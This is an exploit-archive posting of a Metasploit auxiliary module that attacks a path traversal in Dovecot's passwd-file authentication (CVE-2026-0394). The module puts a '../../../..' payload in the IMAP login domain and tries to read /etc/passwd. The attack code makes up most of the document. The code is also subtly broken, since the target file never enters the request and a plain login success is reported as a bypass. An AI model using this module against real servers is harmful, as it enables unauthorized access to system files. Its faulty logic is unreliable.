Share
## https://sploitus.com/exploit?id=PACKETSTORM:219561
==================================================================================================================================
    | # Title     : Dovecot passwd-file Path Traversal Metasploit Module                                                             |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.dovecotpro.com/                                                                                      |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module targets a path traversal vulnerability in Dovecotโ€™s passwd-file authentication backend when per-domain configuration is enabled.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::Tcp
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dovecot passwd-file Path Traversal',
            'Description' => %q{
              Dovecot passwd-file passdb is vulnerable to path traversal when configured to use
              per-domain passwd files.
            },
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2026-0394'],
              ['URL', 'https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html'],
              ['CWE', '22']
            ],
            'License' => MSF_LICENSE,
            'DisclosureDate' => '2026-03-27'
          )
        )
    
        register_options([
          Opt::RPORT(143),
          OptString.new('TARGET_FILE', [true, 'File to read via path traversal', '/etc/passwd']),
          OptString.new('DOMAIN_PAYLOAD', [true, 'Domain payload with traversal', '../../../..']),
          OptEnum.new('PROTOCOL', [true, 'Protocol', 'IMAP', ['IMAP', 'POP3']])
        ])
      end
    
      def run_host(ip)
        print_status("Dovecot passwd-file Path Traversal (CVE-2026-0394)")
        print_status("Target: #{ip}:#{rport}")
    
        sock = nil
    
        domain = datastore['DOMAIN_PAYLOAD']
        target_file = datastore['TARGET_FILE']
    
        username = "test@#{domain}"
    
        print_status("Attempting to read #{target_file} using domain: #{domain}")
    
        content = read_file_via_auth(username, target_file)
    
        if content && !content.empty?
          print_good("Successfully read #{target_file}")
          print_line(content)
          report_file_content(target_file, content)
        else
          print_error("Failed to read #{target_file}")
        end
      end
    
      def read_file_via_auth(username, target_file)
        sock = nil
    
        begin
          sock = connect
    
          banner = sock.get_once
          vprint_status("Banner: #{banner}")
    
          if datastore['PROTOCOL'] == 'IMAP'
            sock.put("a1 LOGIN \"#{username}\" \"test\"\r\n")
            response = sock.get_once
            vprint_status("Response: #{response}")
    
            if response && response.to_s.include?('OK')
              print_status("Authentication succeeded - file may have been read")
              return "Authentication bypass successful"
            elsif response && response.to_s.include?('NO')
              return response if response.to_s.include?(target_file)
            end
          end
    
        rescue ::Exception => e
          vprint_error("Error: #{e.message}")
        ensure
          disconnect(sock) if sock
        end
    
        nil
      end
    
      def report_file_content(filename, content)
        store_loot(
          'dovecot.path_traversal',
          'text/plain',
          rhost,
          content,
          filename.gsub('/', '_'),
          "File read via path traversal: #{filename}"
        )
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================